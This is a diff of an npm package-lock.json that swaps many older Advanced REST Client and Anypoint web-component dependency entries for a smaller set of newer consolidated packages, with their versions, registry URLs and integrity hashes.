-        "pouchdb": "^7.2.2"
-      }
-    },
-    "@advanced-rest-client/arc-overlay-mixin": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-overlay-mixin/-/arc-overlay-mixin-1.2.0.tgz",
-      "integrity": "sha512-NYUspnkQLGudh9NM8vNzORjMYjv2PvL4NiS5Jj4VLvF234Z29iKOpRh+m3+ESmouEs6nZyvh4T/DNGrsD4c+fA==",
+    "@advanced-rest-client/highlight": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/@advanced-rest-client/highlight/-/highlight-2.0.1.tgz",
+      "integrity": "sha512-mSe+Ou4QrLsitsFkw7wUywkUQZ+1JyUnqOMt5uKp4CDcJ7YHVvPAu7XieThMYCOHjYpZF5e37GZfD39t27JK0g==",
       "requires": {
-        "@advanced-rest-client/arc-fit-mixin": "^1.2.2",
-        "@advanced-rest-client/arc-resizable-mixin": "^1.2.0",
-        "@open-wc/dedupe-mixin": "^1.3.0",
-        "lit-element": "^2.4.0",
-        "lit-html": "^1.3.0"
-      }
-    },
-    "@advanced-rest-client/arc-resizable-mixin": {
-      "version": "1.2.2",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-resizable-mixin/-/arc-resizable-mixin-1.2.2.tgz",
-      "integrity": "sha512-Z7+dfxTP7nqPgfxVgYduUVVg2ApTw767zYL1SRpUZx/v2AMZsSXB1bvWqVCatAzpQPNcZwWbCTChtwL5Nh7omQ==",
-      "requires": {
-        "@open-wc/dedupe-mixin": "^1.3.0"
-      }
-    },
-    "@advanced-rest-client/arc-response": {
-      "version": "0.3.7",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-response/-/arc-response-0.3.7.tgz",
-      "integrity": "sha512-nRHydp0JRVFyji3SpqAWT6SgbbOxvuAzPIdeSCoAf7a9UxDDmRhXpPaBhELnHJ/NgLBGHp447I6xisFxevt8sA==",
-      "requires": {
-        "@advanced-rest-client/arc-events": "^0.2.21",
-        "@advanced-rest-client/arc-headers": "^0.1.10",
-        "@advanced-rest-client/arc-icons": "^3.3.4",
-        "@advanced-rest-client/arc-types": "^0.2.61",
-        "@advanced-rest-client/date-time": "^3.0.2",
-        "@anypoint-web-components/anypoint-button": "^1.2.3",
-        "@anypoint-web-components/anypoint-item": "^1.1.2",
-        "@anypoint-web-components/anypoint-listbox": "^1.1.7",
-        "@anypoint-web-components/anypoint-menu-button": "^0.1.5",
-        "@api-client/har": "^0.2.1",
-        "@polymer/paper-progress": "^3.0.0",
+        "@advanced-rest-client/events": "^0.2.22",
+        "@advanced-rest-client/icons": "^4.0.0",
+        "@anypoint-web-components/awc": "^1.0.3",
+        "@pawel-up/html.md": "^0.1.0",
+        "dompurify": "^2.3.3",
         "lit-element": "^2.5.1",
         "lit-html": "^1.4.1",
+        "marked": "^3.0.7",
         "prismjs": "^1.25.0"
       }
     },
-    "@advanced-rest-client/arc-types": {
-      "version": "0.2.61",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-types/-/arc-types-0.2.61.tgz",
-      "integrity": "sha512-7PmKth7cpPKmRI3psl0iaZ8jbqHhJFJaBM5tXeQoCycmykbwiBUQrgZZar4mL9BQaOzbPZ9VhGPk/zbB4TPk3g=="
-    },
-    "@advanced-rest-client/arc-url": {
-      "version": "0.2.2",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-url/-/arc-url-0.2.2.tgz",
-      "integrity": "sha512-OMuowiCigJPSRHdAKBi1+sTkmaAObL+zq4hebgyVR+9u/iD7zKIpBfmq5gYLJ7GnmgoDip/zAtkWxA83vTjpfA==",
-      "requires": {
-        "@advanced-rest-client/arc-events": "^0.2.18",
-        "@advanced-rest-client/arc-icons": "^3.3.3",
-        "@advanced-rest-client/arc-overlay-mixin": "^1.2.0",
-        "@advanced-rest-client/arc-resizable-mixin": "^1.2.2",
-        "@advanced-rest-client/events-target-mixin": "^3.2.4",
-        "@anypoint-web-components/anypoint-autocomplete": "^0.2.12",
-        "@anypoint-web-components/anypoint-button": "^1.2.2",
-        "@anypoint-web-components/anypoint-collapse": "^0.1.2",
-        "@anypoint-web-components/anypoint-dropdown": "^1.1.6",
-        "@anypoint-web-components/anypoint-input": "^0.2.27",
-        "@anypoint-web-components/anypoint-item": "^1.1.2",
-        "@anypoint-web-components/anypoint-listbox": "^1.1.7",
-        "@anypoint-web-components/anypoint-switch": "^0.1.10",
-        "@anypoint-web-components/validatable-mixin": "^1.1.3",
-        "@polymer/iron-form": "^3.0.1",
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
-      }
-    },
-    "@advanced-rest-client/authorization": {
-      "version": "0.2.3",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/authorization/-/authorization-0.2.3.tgz",
-      "integrity": "sha512-+oBAKorQ0iA1IwHML1xVU5P7XlIdYtydJ1ny8/RBAGt6wYOTwtiT1xfQAT3JHiUbthkgqSt47XC7FrXRozzyvQ==",
-      "requires": {
-        "@advanced-rest-client/arc-events": "^0.2.20",
-        "@advanced-rest-client/arc-headers": "^0.1.10",
-        "@advanced-rest-client/arc-icons": "^3.3.0",
-        "@advanced-rest-client/arc-types": "^0.2.58",
-        "@advanced-rest-client/clipboard-copy": "^3.0.1",
-        "@advanced-rest-client/events-target-mixin": "^3.2.4",
-        "@anypoint-web-components/anypoint-autocomplete": "^0.2.12",
-        "@anypoint-web-components/anypoint-button": "^1.2.3",
-        "@anypoint-web-components/anypoint-checkbox": "^1.2.2",
-        "@anypoint-web-components/anypoint-control-mixins": "^1.2.0",
-        "@anypoint-web-components/anypoint-dialog": "^0.1.7",
-        "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21",
-        "@anypoint-web-components/anypoint-input": "^0.2.27",
-        "@anypoint-web-components/anypoint-item": "^1.1.2",
-        "@anypoint-web-components/anypoint-listbox": "^1.1.7",
-        "@anypoint-web-components/anypoint-selector": "^1.1.8",
-        "@anypoint-web-components/anypoint-switch": "^0.1.10",
-        "@anypoint-web-components/validatable-mixin": "^1.1.3",
-        "@github/time-elements": "^3.1.2",
-        "@open-wc/dedupe-mixin": "^1.3.0",
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
-      }
-    },
-    "@advanced-rest-client/body-editor": {
-      "version": "0.2.5",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/body-editor/-/body-editor-0.2.5.tgz",
-      "integrity": "sha512-2YRxPs5boZer/A0jt1OAmYbnXiBMUOmvR7JIuqNZ1gIjt7m+JkgvB68dNpgu5AUqYsLvytM3MFyjRFnzdPgn/g==",
+    "@advanced-rest-client/http-code-snippets": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@advanced-rest-client/http-code-snippets/-/http-code-snippets-4.0.0.tgz",
+      "integrity": "sha512-OCFvUsv5hs3BwLn4Aep2MKfrPMt3vU3uCHi79SZPeUdeEQ/nK1LOHKF2hqPPApfBudNetmfiuAImjwghJM74Mw==",
       "requires": {
-        "@advanced-rest-client/arc-events": "^0.2.17",
-        "@advanced-rest-client/arc-icons": "^3.3.3",
-        "@advanced-rest-client/arc-resizable-mixin": "^1.2.2",
-        "@advanced-rest-client/events-target-mixin": "^3.2.4",
-        "@advanced-rest-client/monaco-support": "^1.0.1",
-        "@anypoint-web-components/anypoint-button": "^1.2.2",
-        "@anypoint-web-components/anypoint-dialog": "^0.1.9",
-        "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21",
-        "@anypoint-web-components/anypoint-input": "^0.2.26",
-        "@anypoint-web-components/anypoint-item": "^1.1.2",
-        "@anypoint-web-components/anypoint-listbox": "^1.1.7",
-        "@anypoint-web-components/anypoint-switch": "^0.1.10",
+        "@advanced-rest-client/highlight": "^2.0.1",
+        "@anypoint-web-components/awc": "^1.0.3",
         "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1",
-        "monaco-editor": "^0.26.1"
-      }
-    },
-    "@advanced-rest-client/bottom-sheet": {
-      "version": "3.2.3",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/bottom-sheet/-/bottom-sheet-3.2.3.tgz",
-      "integrity": "sha512-m9xNHygVMAM8aubTpFarRUmkkDcHpdIsUkcVnmJGnE1/i/YL6RMg9KRF0jxFW9OasdTEggfn6jbuWPt3kdkfPg==",
-      "requires": {
-        "@advanced-rest-client/arc-overlay-mixin": "^1.1.7",
-        "@polymer/iron-a11y-announcer": "^3.1.0",
-        "lit-element": "^2.4.0"
-      }
-    },
-    "@advanced-rest-client/clipboard-copy": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/clipboard-copy/-/clipboard-copy-3.1.0.tgz",
-      "integrity": "sha512-Fn5GV5ba5yjgL7FhYlIM8XbR1PB/A7c7j8eiMNG+vzWNUcHqH80ZahkNgfplBxDUvCGCoIp4DnnUCDIyXaxYqQ=="
-    },
-    "@advanced-rest-client/code-mirror": {
-      "version": "3.1.5",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/code-mirror/-/code-mirror-3.1.5.tgz",
-      "integrity": "sha512-0FnW8WbbgerozcmDmjTv7hmXvc6a0oei6XYauR5TU6PyHZnS8sKVmMkmwQJ8szYkq7tx316uHVHuun9MENQB0g==",
-      "requires": {
-        "@anypoint-web-components/anypoint-item": "^1.1.0",
-        "@anypoint-web-components/anypoint-listbox": "^1.1.6",
-        "@anypoint-web-components/validatable-mixin": "^1.1.3",
-        "codemirror": "^5.59.4",
-        "lit-element": "^2.4.0"
-      }
-    },
-    "@advanced-rest-client/date-time": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/date-time/-/date-time-3.0.2.tgz",
-      "integrity": "sha512-e5hJSVex/EHMo0YWZprOZUQs4KO/Bkt0KAUzjGrOZbpoafuK1Zs1Szu52KtEh7iui9jaTloWqhasrpnkqsgMDQ=="
-    },
-    "@advanced-rest-client/events-target-mixin": {
-      "version": "3.2.5",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/events-target-mixin/-/events-target-mixin-3.2.5.tgz",
-      "integrity": "sha512-8rtcAfQ9fwcQq+YGtgm0PO6I1fd4PFnJEQfqEYAKwedmPPJw/9FB8J/UNekidjEQYPKJUQUmZ+M54VfFCBBMQw==",
-      "requires": {
-        "@open-wc/dedupe-mixin": "^1.3.0"
+        "prismjs": "^1.25.0"
       }
     },
-    "@advanced-rest-client/highlight": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/highlight/-/highlight-1.1.1.tgz",
-      "integrity": "sha512-EY/7UvbAzgw76Unz2t/mJbYxLAri+uUnYZeBK0App58YByvCCboA1Je1zUrPuQb+bGUUOT5nbqVl+23H17CoZA==",
+    "@advanced-rest-client/icons": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@advanced-rest-client/icons/-/icons-4.0.0.tgz",
+      "integrity": "sha512-Cxb7I/jJpNBsOY+/0XgzJtbcVn1be9G+lFtS1YHu8SoQn2Lmhx5BOehBfsbXvV/Pm7MUH18mi8UzfxHzfpPMBg==",
       "requires": {
-        "@advanced-rest-client/arc-events": "^0.2.17",
-        "@advanced-rest-client/arc-icons": "^3.3.3",
-        "@anypoint-web-components/anypoint-button": "^1.2.1",
-        "@pawel-up/html.md": "^0.1.0",
-        "dompurify": "^2.2.9",
         "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1",
-        "marked": "^2.1.2",
-        "prismjs": "^1.23.0"
+        "lit-html": "^1.4.1"
       }
     },
-    "@advanced-rest-client/http-code-snippets": {
-      "version": "3.2.2",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/http-code-snippets/-/http-code-snippets-3.2.2.tgz",
-      "integrity": "sha512-iYs5LqrE5UtVY1UPpIFTMuZ4eIrOh69J8SeykK93gbWTRvkLMqJtnbOrVQ8KtC/DqaNqgvNhN4sqUAQY28sygw==",
+    "@advanced-rest-client/libs": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@advanced-rest-client/libs/-/libs-1.0.1.tgz",
+      "integrity": "sha512-dF4q5nimtraW6a0nLLXfzWS75LWpBnn0pH+flEVhfzUlcNPB8uOQ+JcxCx8Wp2GQ7gyNj/Zhlp4bfo1tChhCmQ==",
       "requires": {
-        "@anypoint-web-components/anypoint-button": "^1.2.0",
-        "@anypoint-web-components/anypoint-tabs": "^0.1.13",
-        "@polymer/prism-element": "^3.0.0",
-        "lit-element": "^2.4.0",
-        "prismjs": "^1.23.0"
+        "@advanced-rest-client/events": "^0.2.22"
       }
     },
     "@advanced-rest-client/monaco-support": {
@@ -321,295 +93,17 @@
         "lit-element": "^2.4.0"
       }
     },
-    "@advanced-rest-client/pouchdb-mapreduce-no-ddocs": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/pouchdb-mapreduce-no-ddocs/-/pouchdb-mapreduce-no-ddocs-3.0.3.tgz",
-      "integrity": "sha512-5gqGWnlLQxLJov/6WE7iuz/LOE0xZJcRI7o2lnxBVore3sj+F3R4OjRjiL8wiZvykEMSdX7Qy+BhFMUrKMvWSw==",
-      "requires": {
-        "inherits": "2.0.1",
-        "pouchdb-binary-utils": "6.4.3",
-        "pouchdb-collate": "1.2.0",
-        "pouchdb-errors": "6.4.3",
-        "pouchdb-mapreduce-utils": "6.4.3",
-        "pouchdb-md5": "6.4.3",
-        "pouchdb-promise": "6.4.3",
-        "pouchdb-utils": "6.4.3",
-        "scope-eval": "0.0.3",
-        "spark-md5": "2.0.2"
-      },
-      "dependencies": {
-        "pouchdb-promise": {
-          "version": "6.4.3",
-          "resolved": "https://registry.npmjs.org/pouchdb-promise/-/pouchdb-promise-6.4.3.tgz",
-          "integrity": "sha512-ruJaSFXwzsxRHQfwNHjQfsj58LBOY1RzGzde4PM5CWINZwFjCQAhZwfMrch2o/0oZT6d+Xtt0HTWhq35p3b0qw==",
-          "requires": {
-            "lie": "3.1.1"
-          }
-        }
-      }
-    },
-    "@advanced-rest-client/pouchdb-quick-search": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/pouchdb-quick-search/-/pouchdb-quick-search-2.0.3.tgz",
-      "integrity": "sha512-nOJo7AT037UTPQY5CFiVqk4NucwjNiPGWyF/QU8dXPqyK2ZgxjiN/wyRzcpLvIYj6MO2JepQFdfW8nx35cJxXw==",
-      "requires": {
-        "@advanced-rest-client/pouchdb-mapreduce-no-ddocs": "^3.0.0",
-        "json-stable-stringify": "^1.0.1",
-        "lunr": "0.7.1",
-        "md5": "^2.2.1",
-        "pouchdb-extend": "^0.1.0",
-        "pouchdb-promise": "5.4.4",
-        "uniq": "^1.0.1"
-      }
-    },
-    "@advanced-rest-client/uuid-generator": {
-      "version": "3.1.2",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/uuid-generator/-/uuid-generator-3.1.2.tgz",
-      "integrity": "sha512-eP3Yo04FiQao7mPEhG37ESG1zYNB5uQ03dB3FlCvaZoUs4qGduBr7SRHdFENcGJlxCkwhY0QVKFfuaZZValPTA=="
-    },
-    "@anypoint-web-components/anypoint-autocomplete": {
-      "version": "0.2.12",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-autocomplete/-/anypoint-autocomplete-0.2.12.tgz",
-      "integrity": "sha512-jIANGgT2Nxt529RTKB9326q2ozEssOqAib75mpBsSie/Kv+em2o+egdcSt1oSswBgeF3TGIuX6ITTzPLH5mKTw==",
-      "requires": {
-        "@anypoint-web-components/anypoint-dropdown": "^1.1.6",
-        "@anypoint-web-components/anypoint-item": "^1.1.2",
-        "@anypoint-web-components/anypoint-listbox": "^1.1.7",
-        "lit-element": "^2.5.1"
-      }
-    },
-    "@anypoint-web-components/anypoint-button": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-button/-/anypoint-button-1.2.3.tgz",
-      "integrity": "sha512-+pdVagxBTSGF692b8Cv2GsS68jRblUoj5WuA4BzqP5dqTlj7sf7tX2xvvTkXFgpvxy+iXRs0T2hCMSqV2T9UvQ==",
-      "requires": {
-        "@anypoint-web-components/anypoint-control-mixins": "^1.2.0",
-        "@anypoint-web-components/material-ripple": "^1.0.2",
-        "lit-element": "^2.5.1"
-      }
-    },
-    "@anypoint-web-components/anypoint-checkbox": {
-      "version": "1.2.2",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-checkbox/-/anypoint-checkbox-1.2.2.tgz",
-      "integrity": "sha512-GF3fLPB7AUUEcnf5ypVGvRc0o9URhE6kxv8NuOl6x+xpVaQCrcM6BYs0S5aPOcH546AidZN4o0SbjPkotE2zlA==",
-      "requires": {
-        "@anypoint-web-components/anypoint-control-mixins": "^1.2.0",
-        "@anypoint-web-components/anypoint-form-mixins": "^1.3.0",
-        "lit-element": "^2.5.1"
-      }
-    },
-    "@anypoint-web-components/anypoint-collapse": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-collapse/-/anypoint-collapse-0.1.2.tgz",
-      "integrity": "sha512-+arHE/rxvtXLs01R9XNrLPWEO5n7f8KcmvKhiq7Er5pqt49O6VbZIcdqEHiuhRigjsObE3/x0SP4OMuDMrO9fw==",
-      "requires": {
-        "@advanced-rest-client/arc-resizable-mixin": "^1.2.0",
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
-      }
-    },
-    "@anypoint-web-components/anypoint-control-mixins": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-control-mixins/-/anypoint-control-mixins-1.2.0.tgz",
-      "integrity": "sha512-EMseskbHaRBJpyV60m6tWCtr1MGMZV/Hc6yD5XO1fH4WCg8kihgqXWeR22Y5qOv7YaALwWwBrG2cDCG8TNyxHw==",
-      "requires": {
-        "@open-wc/dedupe-mixin": "^1.3.0"
-      }
-    },
-    "@anypoint-web-components/anypoint-dialog": {
-      "version": "0.1.10",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-dialog/-/anypoint-dialog-0.1.10.tgz",
-      "integrity": "sha512-AwAmndgYOxJNKeBlL0NunqAOyiEeJqfi/+CnZo/6WpAAAlMFqd0TQ110UCM78ZYx8AMSpE6CeYa+3ZTra8axDw==",
-      "requires": {
-        "@advanced-rest-client/arc-overlay-mixin": "^1.2.0",
-        "@open-wc/dedupe-mixin": "^1.3.0",
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
-      }
-    },
-    "@anypoint-web-components/anypoint-dropdown": {
-      "version": "1.1.6",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-dropdown/-/anypoint-dropdown-1.1.6.tgz",
-      "integrity": "sha512-pYbyAud5HnkeSiR+jy4pYbf0O+dBySApITzvqw3aAL1P+OiiSuOlHg+ghYL4q4HQCWF5rRhu+Hiv8CrVcS/bkQ==",
-      "requires": {
-        "@advanced-rest-client/arc-overlay-mixin": "^1.2.0",
-        "@anypoint-web-components/anypoint-control-mixins": "^1.2.0",
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
-      }
-    },
-    "@anypoint-web-components/anypoint-dropdown-menu": {
-      "version": "0.1.21",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-dropdown-menu/-/anypoint-dropdown-menu-0.1.21.tgz",
-      "integrity": "sha512-AQJHAFfWAOwSB5iQHjume65udiDva31NSGLWRnCov06VHlph+iO2ztp1iuMZLrJQLFiIYUc+uYFta6gmG8jtVQ==",
-      "requires": {
-        "@anypoint-web-components/anypoint-button": "^1.2.0",
-        "@anypoint-web-components/anypoint-control-mixins": "^1.2.0",
-        "@anypoint-web-components/anypoint-dropdown": "^1.1.5",
-        "@anypoint-web-components/validatable-mixin": "^1.1.3",
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
-      }
-    },
-    "@anypoint-web-components/anypoint-form-mixins": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-form-mixins/-/anypoint-form-mixins-1.3.0.tgz",
-      "integrity": "sha512-gm+474ZGNQSJcPcGKT1Ixmp3hDtFpfBDn8HawwJV8MxXkTIYdgfz3B6WpKu4VvYLJIlk9GJb4MbbNMK+hJ6XMA==",
-      "requires": {
-        "@anypoint-web-components/validatable-mixin": "^1.1.3",
-        "@open-wc/dedupe-mixin": "^1.3.0"
-      }
-    },
-    "@anypoint-web-components/anypoint-input": {
-      "version": "0.2.27",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-input/-/anypoint-input-0.2.27.tgz",
-      "integrity": "sha512-oDfraIlVwqwsb4sZZ+ILjXu0aotH/jMPzvN3rmmkM+D0AE/k0SaR8NxTEEt2t+HorVSw6iNK4lH6dyR+lkb3aA==",
-      "requires": {
-        "@advanced-rest-client/arc-icons": "^3.3.3",
-        "@anypoint-web-components/anypoint-button": "^1.2.2",
-        "@anypoint-web-components/anypoint-control-mixins": "^1.2.0",
-        "@anypoint-web-components/validatable-mixin": "^1.1.3",
-        "@open-wc/dedupe-mixin": "^1.3.0",
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
-      }
-    },
-    "@anypoint-web-components/anypoint-item": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-item/-/anypoint-item-1.1.2.tgz",
-      "integrity": "sha512-AD702ZKg6AW+0wUlE/UHMLcVUGlwgDXRjhmtMSH5vp1gGBbg4OzhiUN8/kwLiWIC5O4yyikUBpFmuD09VGQc1A==",
-      "requires": {
-        "@anypoint-web-components/anypoint-control-mixins": "^1.2.0",
-        "@anypoint-web-components/anypoint-styles": "^1.0.1",
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
-      }
-    },
-    "@anypoint-web-components/anypoint-listbox": {
-      "version": "1.1.7",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-listbox/-/anypoint-listbox-1.1.7.tgz",
-      "integrity": "sha512-F4VueUMEdH8unfJ5Wyqv4QO8Cfl/F1lkq0o7vrKPafYyK455ArIx1CCsgUUUhXAG8+T4WZie5xfnqVRr+uYWpA==",
-      "requires": {
-        "@anypoint-web-components/anypoint-menu-mixin": "^1.1.7",
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
-      }
-    },
-    "@anypoint-web-components/anypoint-menu-button": {
-      "version": "0.1.5",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-menu-button/-/anypoint-menu-button-0.1.5.tgz",
-      "integrity": "sha512-sZKu3qLbRrGX9RMxKayS9jS41eTmaktYQXsrR9v32MbenMyI+FJ0IIZEidxSq5WFbYoLYih/iCaK57sFMepr9g==",
-      "requires": {
-        "@anypoint-web-components/anypoint-control-mixins": "^1.1.3",
-        "@anypoint-web-components/anypoint-dropdown": "^1.1.4",
-        "lit-element": "^2.4.0",
-        "lit-html": "^1.3.0"
-      }
-    },
-    "@anypoint-web-components/anypoint-menu-mixin": {
-      "version": "1.1.9",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-menu-mixin/-/anypoint-menu-mixin-1.1.9.tgz",
-      "integrity": "sha512-5o1Gh9lLUaMNM/PwY5sJFAjCNz51oGtmsWgIlZhRxJLPXgyqmVaszRwLMU3Gb/NrKUS5Y5q2Hfbm0Mhp2PkCjw==",
-      "requires": {
-        "@anypoint-web-components/anypoint-selector": "^1.1.7",
-        "@open-wc/dedupe-mixin": "^1.3.0",
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
-      }
-    },
-    "@anypoint-web-components/anypoint-radio-button": {
-      "version": "0.1.9",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-radio-button/-/anypoint-radio-button-0.1.9.tgz",
-      "integrity": "sha512-h42632nW1Mnk+cuzR1kKBLnO1FhOx53ind6F+8ubUGjWp0tZXAeGwApBVrvdVOawlXC0wiu+8NUXTmKteVhzBw==",
-      "requires": {
-        "@anypoint-web-components/anypoint-form-mixins": "^1.3.0",
-        "@anypoint-web-components/anypoint-menu-mixin": "^1.1.9",
-        "@anypoint-web-components/anypoint-styles": "^1.0.1",
-        "lit-element": "^2.5.1"
-      }
+    "@advanced-rest-client/uuid": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@advanced-rest-client/uuid/-/uuid-4.0.0.tgz",
+      "integrity": "sha512-ln7TGYaiGGRiXFHxo722EPcEDSccq+jclDRYTOTrRp3fTvUrm8P+tHCPFJTGa68Hi/rDhMZN3SkfF3+thtM7eQ=="
     },
-    "@anypoint-web-components/anypoint-selector": {
-      "version": "1.1.8",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-selector/-/anypoint-selector-1.1.8.tgz",
-      "integrity": "sha512-++5x2hEZHKyMqeNrz7bWmyfJVub5z2BOk9uyXxo9Ght6ZheyeSK6bqTNyIzQWOHI813XVkFzNaY9HkE+NR5Ugw==",
+    "@anypoint-web-components/awc": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/@anypoint-web-components/awc/-/awc-1.0.4.tgz",
+      "integrity": "sha512-/go0TyHPYtQjbTkJAlCT4nDWKvjSnQFp0gsVcwzmKPY4qfEfw2xlpOkzIw7jVOTKv+eKjfJgXk22Uub7kEGs6g==",
       "requires": {
         "@open-wc/dedupe-mixin": "^1.3.0",
-        "lit-element": "^2.4.0",
-        "lit-html": "^1.3.0"
-      }
-    },
-    "@anypoint-web-components/anypoint-styles": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-styles/-/anypoint-styles-1.0.2.tgz",
-      "integrity": "sha512-gvtxd+c8K6TWG6yetnQrd+GHwpMpv0TeE0qKyHxp+fj1wnC2vMrAl6D/uc8nQ1OMqCAmERRlRDdar1xp5O/QgA==",
-      "requires": {
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
-      }
-    },
-    "@anypoint-web-components/anypoint-switch": {
-      "version": "0.1.10",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-switch/-/anypoint-switch-0.1.10.tgz",
-      "integrity": "sha512-EXE+6nF52TBOcx8sXDLmVmR9jliZzsG3zsPm6BFbWLofO0E6ZqPy7y6+yhyaIMCyl8M5GZWE9n+w7oyDQvELxQ==",
-      "requires": {
-        "@anypoint-web-components/anypoint-control-mixins": "^1.2.0",
-        "@anypoint-web-components/anypoint-form-mixins": "^1.3.0",
-        "lit-element": "^2.5.1"
-      }
-    },
-    "@anypoint-web-components/anypoint-tabs": {
-      "version": "0.1.19",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-tabs/-/anypoint-tabs-0.1.19.tgz",
-      "integrity": "sha512-h3slAS0XjdSbN+NM/FlNsw2Je81MrrPncw51dHr3Zw97KwncwlZlzFn/cJJo0lQaN6dxB6X4Hh646Qa/mN8UIg==",
-      "requires": {
-        "@advanced-rest-client/arc-resizable-mixin": "^1.2.2",
-        "@anypoint-web-components/anypoint-button": "^1.2.1",
-        "@anypoint-web-components/anypoint-control-mixins": "^1.2.0",
-        "@anypoint-web-components/anypoint-menu-mixin": "^1.1.8",
-        "@anypoint-web-components/material-ripple": "^1.0.1",
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
-      }
-    },
-    "@anypoint-web-components/material-ripple": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/material-ripple/-/material-ripple-1.0.3.tgz",
-      "integrity": "sha512-rAKa/dRsiofHumUikzKj+Ast5NvwZ+WoKJTDT/eE/Noq5+SXSR7NwzKyagO/JITcd5OVeMlO18EZZ+r9Hq6FHg==",
-      "requires": {
-        "@advanced-rest-client/arc-icons": "^3.3.3",
-        "lit-element": "^2.4.0"
-      }
-    },
-    "@anypoint-web-components/validatable-mixin": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/validatable-mixin/-/validatable-mixin-1.1.3.tgz",
-      "integrity": "sha512-cObFmNCIWxbGoYEO7cMUEEB4LQ4n3HEgk1gS7LB/TZSvXzzth00f3lbxkvQsubBIFVEOKFUq5Lo8vuG81t0/2w==",
-      "requires": {
-        "@anypoint-web-components/validator-mixin": "^1.1.1",
-        "@open-wc/dedupe-mixin": "^1.3.0"
-      }
-    },
-    "@anypoint-web-components/validator-mixin": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/validator-mixin/-/validator-mixin-1.1.2.tgz",
-      "integrity": "sha512-J5dqcdwW47W+7B10stowMsaQclV2VEe2vZ3SD6lVnQS63MWEZeCa2jTdaJ3RuE5+vSBoKoUfBiHqOdcpnGLL2w==",
-      "requires": {
-        "@open-wc/dedupe-mixin": "^1.3.0"
-      }
-    },
-    "@api-client/har": {
-      "version": "0.2.1",
-      "resolved": "https://registry.npmjs.org/@api-client/har/-/har-0.2.1.tgz",
-      "integrity": "sha512-91RPLOkF9+/GJ9GJdhHzthaPqGTRsk2fatpsHjfNPbsXujs41+gqulCsxSyATv29co5WYs99Mf2IikCXOoGjLg==",
-      "requires": {
-        "@advanced-rest-client/arc-cookies": "^0.2.0",
-        "@advanced-rest-client/arc-events": "^0.2.21",
-        "@advanced-rest-client/arc-headers": "^0.1.10",
-        "@advanced-rest-client/body-editor": "^0.2.5",
-        "@anypoint-web-components/anypoint-collapse": "^0.1.2",
-        "@anypoint-web-components/anypoint-item": "^1.1.2",
-        "@anypoint-web-components/anypoint-listbox": "^1.1.7",
-        "@anypoint-web-components/anypoint-tabs": "^0.1.19",
         "lit-element": "^2.5.1",
         "lit-html": "^1.4.1"
       }
